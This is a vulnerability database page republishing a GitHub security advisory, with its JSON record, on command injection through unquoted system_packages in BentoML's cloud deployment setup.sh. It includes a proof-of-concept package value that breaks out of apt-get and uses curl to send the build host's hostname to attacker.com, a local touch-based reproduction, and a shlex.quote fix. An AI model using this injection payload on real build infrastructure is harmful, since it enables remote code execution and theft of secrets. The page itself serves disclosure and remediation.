GHSA-FGV4-6JR3-JGFW

Vulnerability from github – Published: 2026-04-03 22:03 – Updated: 2026-04-06 23:42
VLAI?
Summary
BentoML: Command Injection in cloud deployment setup script
Details

Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491): - src/_bentoml_sdk/images.py:88 - added shlex.quote(package) - src/bentoml/_internal/bento/build_config.py:505 - added bash_quote Jinja2 filter - Jinja2 templates: base_debian.j2, base_alpine.j2, etc.

Unfixed path:

src/bentoml/_internal/cloud/deployment.py, line 1648:

def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
    content = b""
    config = BentoBuildConfig.from_bento_dir(bento_dir)
    if config.docker.system_packages:
        content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed: - Line 905: setup_script = _build_setup_script(bento_dir, svc.image) in _init_deployment_files - Line 908: upload_files.append(("setup.sh", setup_script)) uploads to BentoCloud - Line 914: self.upload_files(upload_files, ...) sends to the remote deployment - The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

  1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure.
  2. Insider threat: A data scientist with deploy permissions injects commands into system_packages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).
  3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

mkdir /tmp/bento-pwn
cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

python3 -c "
import yaml
with open('/tmp/bento-pwn/bentofile.yaml') as f:
    config = yaml.safe_load(f)
pkgs = config['docker']['system_packages']
script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
print('Generated setup.sh:')
print(script)
with open('/tmp/bento-pwn/setup.sh', 'w') as f:
    f.write(script)
"

Step 3: Execute and verify:

rm -f /tmp/PWNED_BY_INJECTION
bash /tmp/bento-pwn/setup.sh
ls -la /tmp/PWNED_BY_INJECTION

Result: /tmp/PWNED_BY_INJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.

Generated setup.sh content:

apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1

For comparison, the fixed version (with shlex.quote) would generate:

apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1

The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.

Suggested Fix

Apply shlex.quote to each package name, matching the fix in images.py:

if config.docker.system_packages:
    quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)
    content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()

— Koda Reef

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.37"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T22:03:22Z",
    "nvd_published_at": "2026-04-06T18:16:41Z",
    "severity": "HIGH"
  },
  "details": "Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n    def _build_setup_script(bento_dir: str, image: Image | None) -\u003e bytes:\n        content = b\"\"\n        config = BentoBuildConfig.from_bento_dir(bento_dir)\n        if config.docker.system_packages:\n            content += f\"apt-get update \u0026\u0026 apt-get install -y {\u0027 \u0027.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n    apt-get update \u0026\u0026 apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud\u0027s build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants\u0027 data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n    mkdir /tmp/bento-pwn\n    cat \u003e /tmp/bento-pwn/bentofile.yaml \u003c\u003c \u0027EOF\u0027\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n    EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n    python3 -c \"\n    import yaml\n    with open(\u0027/tmp/bento-pwn/bentofile.yaml\u0027) as f:\n        config = yaml.safe_load(f)\n    pkgs = config[\u0027docker\u0027][\u0027system_packages\u0027]\n    script = f\\\"apt-get update \u0026\u0026 apt-get install -y {\u0027 \u0027.join(pkgs)} || exit 1\\n\\\"\n    print(\u0027Generated setup.sh:\u0027)\n    print(script)\n    with open(\u0027/tmp/bento-pwn/setup.sh\u0027, \u0027w\u0027) as f:\n        f.write(script)\n    \"\n\nStep 3: Execute and verify:\n\n    rm -f /tmp/PWNED_BY_INJECTION\n    bash /tmp/bento-pwn/setup.sh\n    ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n    apt-get update \u0026\u0026 apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n    apt-get update \u0026\u0026 apt-get install -y curl \u0027jq; touch /tmp/PWNED_BY_INJECTION #\u0027 || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n    if config.docker.system_packages:\n        quoted = \u0027 \u0027.join(shlex.quote(p) for p in config.docker.system_packages)\n        content += f\"apt-get update \u0026\u0026 apt-get install -y {quoted} || exit 1\\n\".encode()\n\n\u2014 Koda Reef",
  "id": "GHSA-fgv4-6jr3-jgfw",
  "modified": "2026-04-06T23:42:03Z",
  "published": "2026-04-03T22:03:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML: Command Injection in cloud deployment setup script"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…